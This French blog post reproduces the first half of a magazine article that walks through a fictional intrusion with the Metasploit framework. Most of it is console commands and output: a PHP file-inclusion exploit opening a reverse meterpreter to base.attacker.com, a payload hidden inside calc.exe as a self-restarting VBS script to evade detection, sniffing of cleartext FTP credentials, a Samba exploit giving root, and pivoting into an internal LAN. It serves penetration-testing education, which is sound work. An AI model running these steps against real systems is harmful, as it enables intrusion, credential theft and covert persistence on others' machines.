Le framework metasploit – 1/2

Dans le numéro 52 du magasine MISC Julien Bachmann et Nicolas Oberli ont publié un article décrivant l’utilisation du framework metasploit dans le cadre d’une intrusion fictive. Cet article a été découpé en deux parties qui seront publiées sur ce blog.

Introduction

Metasploit est un framework libre d’exploitation de vulnérabilités facilitant la pré-exploitation (recherche de bugs, écriture d’exploits ou de shellcodes…), l’exploitation (envoie de l’exploit), et la post-exploitation (exécution de code arbitraire, accès à des fichiers, injection de serveur VNC…). Créé en 2003 par HD Moore, cet outil n’a cessé d’évoluer notamment grâce à communauté qui s’est formée autour de lui.

Ce framework se décompose en plusieurs parties: des interfaces (msfconsole, msfgui, …), des modules (exploits, payloads, scanners, …) et des scripts pour le meterpreter. Ce dernier se présente sous la forme d’un shell offrant de nombreuses fonctionnalités et permet via des scripts ruby de rajouter celles qui pourrait venir à manquer.

Étant donné la quantité de possibilités offertes, nous ne pouvons tout présenter. Nous étudions certaines fonctionnalités utilisées dans le cadre d’une intrusion fictive.

Attaque d’un serveur Windows en DMZ

Exploitation d’une vulnérabilité de type inclusion de fichier

Dans cette intrusion fictive, le point d’entrée est un serveur Windows se situant dans la DMZ. Ce dernier héberge un site en php vulnérable à une faille de type inclusion de fichiers. Le premier réflexe serait de sortir le shell php que l’on garde soigneusement au chaud, mais ici déjà, metasploit nous permet d’utiliser un module pour exploiter cette vulnérabilité.

Dans un premier temps, la commande use permet de sélectionner un module à utiliser (back permet de sortir de ce module). Une fois le module chargé, les variables utilisées (ici phpuri, rhost, payload et lhost) doivent être initialisés à l’aide de la commande set. Finalement, la commande exploit déchaine les enfers^x^x exécute le module.

[sourcecode language=”text”]
msf > use exploit/unix/webapp/php_include

msf exploit(php_include) > set phpuri /index.php?page=XXpathXX

msf exploit(php_include) > set rhost web.test.com

msf exploit(php_include) > set payload php/meterpreter/reverse_tcp

msf exploit(php_include) > set lhost base.attacker.com

msf exploit(php_include) > exploit

[*] Started reverse handler on base.attacker.com:4444

[*] Using URL: http://base.attacker.com:8080/fHYxfNlfsyZV

[*] Local IP: http://base.attacker.com:8080/fHYxfNlfsyZV

[*] PHP include server started.

[*] Sending stage (29387 bytes) to 127.0.0.1

[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:59550) at Mon Sep 13 11:59:28 +0200 2010

meterpreter > getuid

Server username: Administrateur (0)

[/sourcecode]

Le meterpreter php est un ajout récent au framework. Pour des raisons bien compréhensibles, il ne permet pas d’offrir toutes les fonctionnalités du meterpreter binaire comme l’interaction avec les autres processus du système. En revanche, il permet de manipuler le système de fichiers et donc d’uploader un fichier exécutable et de l’exécuter.

Pour transformer un payload en binaire exécutable, deux binaires sont fournis par metasploit : msfpayload et msfencode. Msfpayload génère le bytecode d’un payload dans divers formats (brut, tableau C, Ruby, et autres). Dans notre cas, nous utilisons le meterpreter qui se connectera au travers d’un tunnel SSL sur notre poste, ceci afin de passer outre un éventuel firewall. Msfencode permet quant à lui d’effectuer des transformations sur un binaire, comme un encodage du bytecode ou encore l’inclusion du code dans un autre binaire. Dans cet exemple, nous passons par la fonction loop-vbs qui crée un script vbs exécuté à chaque fois que le processus est tué. Au passage, nous incluons le meterpreter dans calc.exe afin de masquer un peu plus l’attaque.

Pour arriver à ce résultat, il suffit d’appeler msfpayload, de passer les bons paramètres et de « piper » la sortie dans msfencode qui s’occupera de la mise en forme de notre payload.

[sourcecode language=”text”]
$ ./msfpayload windows/meterpreter/reverse_https LHOST=base.attacker.com LPORT=443 R | ./msfencode -x calc.exe -t loop-vbs -o final.vbs
[/sourcecode]

Du coté du shell metasploit, il faut mettre en place le listener qui attend une connexion https d’un meterpreter sur le port 443 :

[sourcecode language=”text”]

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https

msf exploit(handler) > set LPORT 443

msf exploit(handler) > set LHOST base.attacker.com

msf exploit(handler) > exploit -j

[*] HTTPS listener started on http://base.attacker.com:443/

[*] Starting the payload handler…

[/sourcecode]

De retour dans le meterpreter php il reste à uploader le script vbs et à le lancer:

[sourcecode language=”text”]

meterpreter > upload /Users/guru/Desktop/final.vbs .

[*] uploading : /Users/guru/Desktop/final.vbs -> .

meterpreter > execute -f final.vbs

[/sourcecode]

Ecoutes sur le réseau

Le site hébergé par le serveur maintenant sous-contrôle contient une partie authentifiée. Le module sniffer (fondé sur la bibliothèque dnet [DNET]) du meterpreter écoute les communications sur une interface réseau et récupère ainsi des authentifiants envoyés en clair ou d’autres informations intéressantes.

Tout comme dans le shell metasploit, la commande use charge un module dans le meterpreter. Une fois chargé la commande help est utilisée pour voir les fonctionnalités ajoutées.

[sourcecode language=”text”]

meterpreter > use sniffer

Loading extension sniffer…success.

[/sourcecode]

La commande sniffer_interfaces liste les interfaces utilisables pour l’écoute. Une fois une interface sélectionnée, la capture peut être lancée avec sniffer_start. La commande sniffer_dump récupère un fichier au format pcap des datagrammes capturés.

[sourcecode language=”text”]

meterpreter > sniffer_interfaces

1 – ‘Connexion r?seau Intel(R) PRO/1000 MT’ ( type:0 mtu:1514 usable:true dhcp:false wifi:false )

meterpreter > sniffer_start 1

[*] Capture started on interface 1 (50000 packet buffer)

meterpreter > sniffer_dump 1 /tmp/capture.pcap

[*] Flushing packet capture buffer for interface 1…

[*] Flushed 15 packets (4504 bytes)

[*] Downloaded 100% (4504/4504)…

[*] Download completed, converting to PCAP…

[*] PCAP file written to /tmp/capture.pcap

meterpreter > sniffer_stop 1

[*] Capture stopped on interface 1

[/sourcecode]

Afin de simplifier l’analyse de la capture, le module psnuffle permet d’analyser le fichier pcap et d’en extraire les authentifiants de manière automatique, un peu à la manière d’un dsniff. À noter que ce module permet également d’écouter le trafic directement depuis la carte réseau.

[sourcecode language=”text”]

msf > use sniffer/psnuffle

msf auxiliary(psnuffle) > set PCAPFILE /tmp/capture.pcap

msf auxiliary(psnuffle) > set RHOST 0.0.0.0

msf auxiliary(psnuffle) > exploit

[*] Loaded protocol FTP from /opt/metasploit/data/exploits/psnuffle/ftp.rb…

[*] Loaded protocol IMAP from /opt/metasploit/data/exploits/psnuffle/imap.rb…

[*] Loaded protocol POP3 from /opt/metasploit/data/exploits/psnuffle/pop3.rb…

[*] Loaded protocol URL from /opt/metasploit/data/exploits/psnuffle/url.rb…

[*] Sniffing traffic…..

[*] Successful FTP Login: 192.168.145.22:21-192.168.122.10:50117 >> bofh / bofh (220- Jgaa’s Fan Club FTP Service WAR-FTPD 1.65 Ready )

[*] Finished sniffing

[/sourcecode]

Dans la capture produite, une connexion à un serveur FTP situé dans le LAN a été capturée. En plus d’obtenir des authentifiants, elle montre qu’une version vulnérable de WAR-FTPD est en écoute sur ce système Windows.

Une autre connexion sur un service vulnérable (samba 3.0.20) présent sur le serveur linux.test.internal a également été découverte en analysant la capture à l’aide de Wireshark et est exploitée pour obtenir un accès en tant que l’utilisateur root sur ce serveur.

capture de la version du service vulnérable

[sourcecode language=”text”]

msf > use multi/samba/usermap_script

msf exploit(usermap_script) > set rhost linux.test.internal

rhost => 192.168.145.145

msf exploit(usermap_script) > set payload cmd/unix/bind_perl

payload => cmd/unix/bind_perl

msf exploit(usermap_script) > exploit

[*] Started bind handler

[*] Command shell session 7 opened (192.168.145.1:50890 -> linux.test.internal:4444) at Mon Sep 27 14:38:02 +0200 2010

whoami

root

[/sourcecode]

Pivot

Les deux hôtes vulnérables se situant dans le LAN protégé par un firewall, il est impossible de les attaquer directement. Là encore, comme les autres frameworks d’exploitation, metasploit peut pivoter à partir d’une machine compromise. Ce pivot (commande route) route les commandes exécutées depuis metasploit à travers une session préalablement ouverte.

La session en cours est passée en tâche de fond ([Ctrl] + [Z]) afin de créer le tunnel puis exploiter la vulnérabilité.

[sourcecode language=”text”]

meterpreter >

Background session 4? [y/N] y

msf exploit(handler) > route add 192.168.145.0 255.255.255.0 4

msf exploit(handler) > use exploit/windows/ftp/warftpd_165_user

msf exploit(warftpd_165_user) > set rhost 192.168.145.22

msf exploit(warftpd_165_user) > set payload windows/meterpreter/reverse_https

msf exploit(warftpd_165_user) > set lport 8443

msf exploit(warftpd_165_user) > exploit

[/sourcecode]

Le serveur Windows du LAN est maintenant sous contrôle à son tour.

Le serveur linux sera compromis de la même façon, à la différence qu’une version complète de metasploit sera uploadée pour s’en servir, si besoin, plus tard.

Prochain épisode: Attaque du LAN…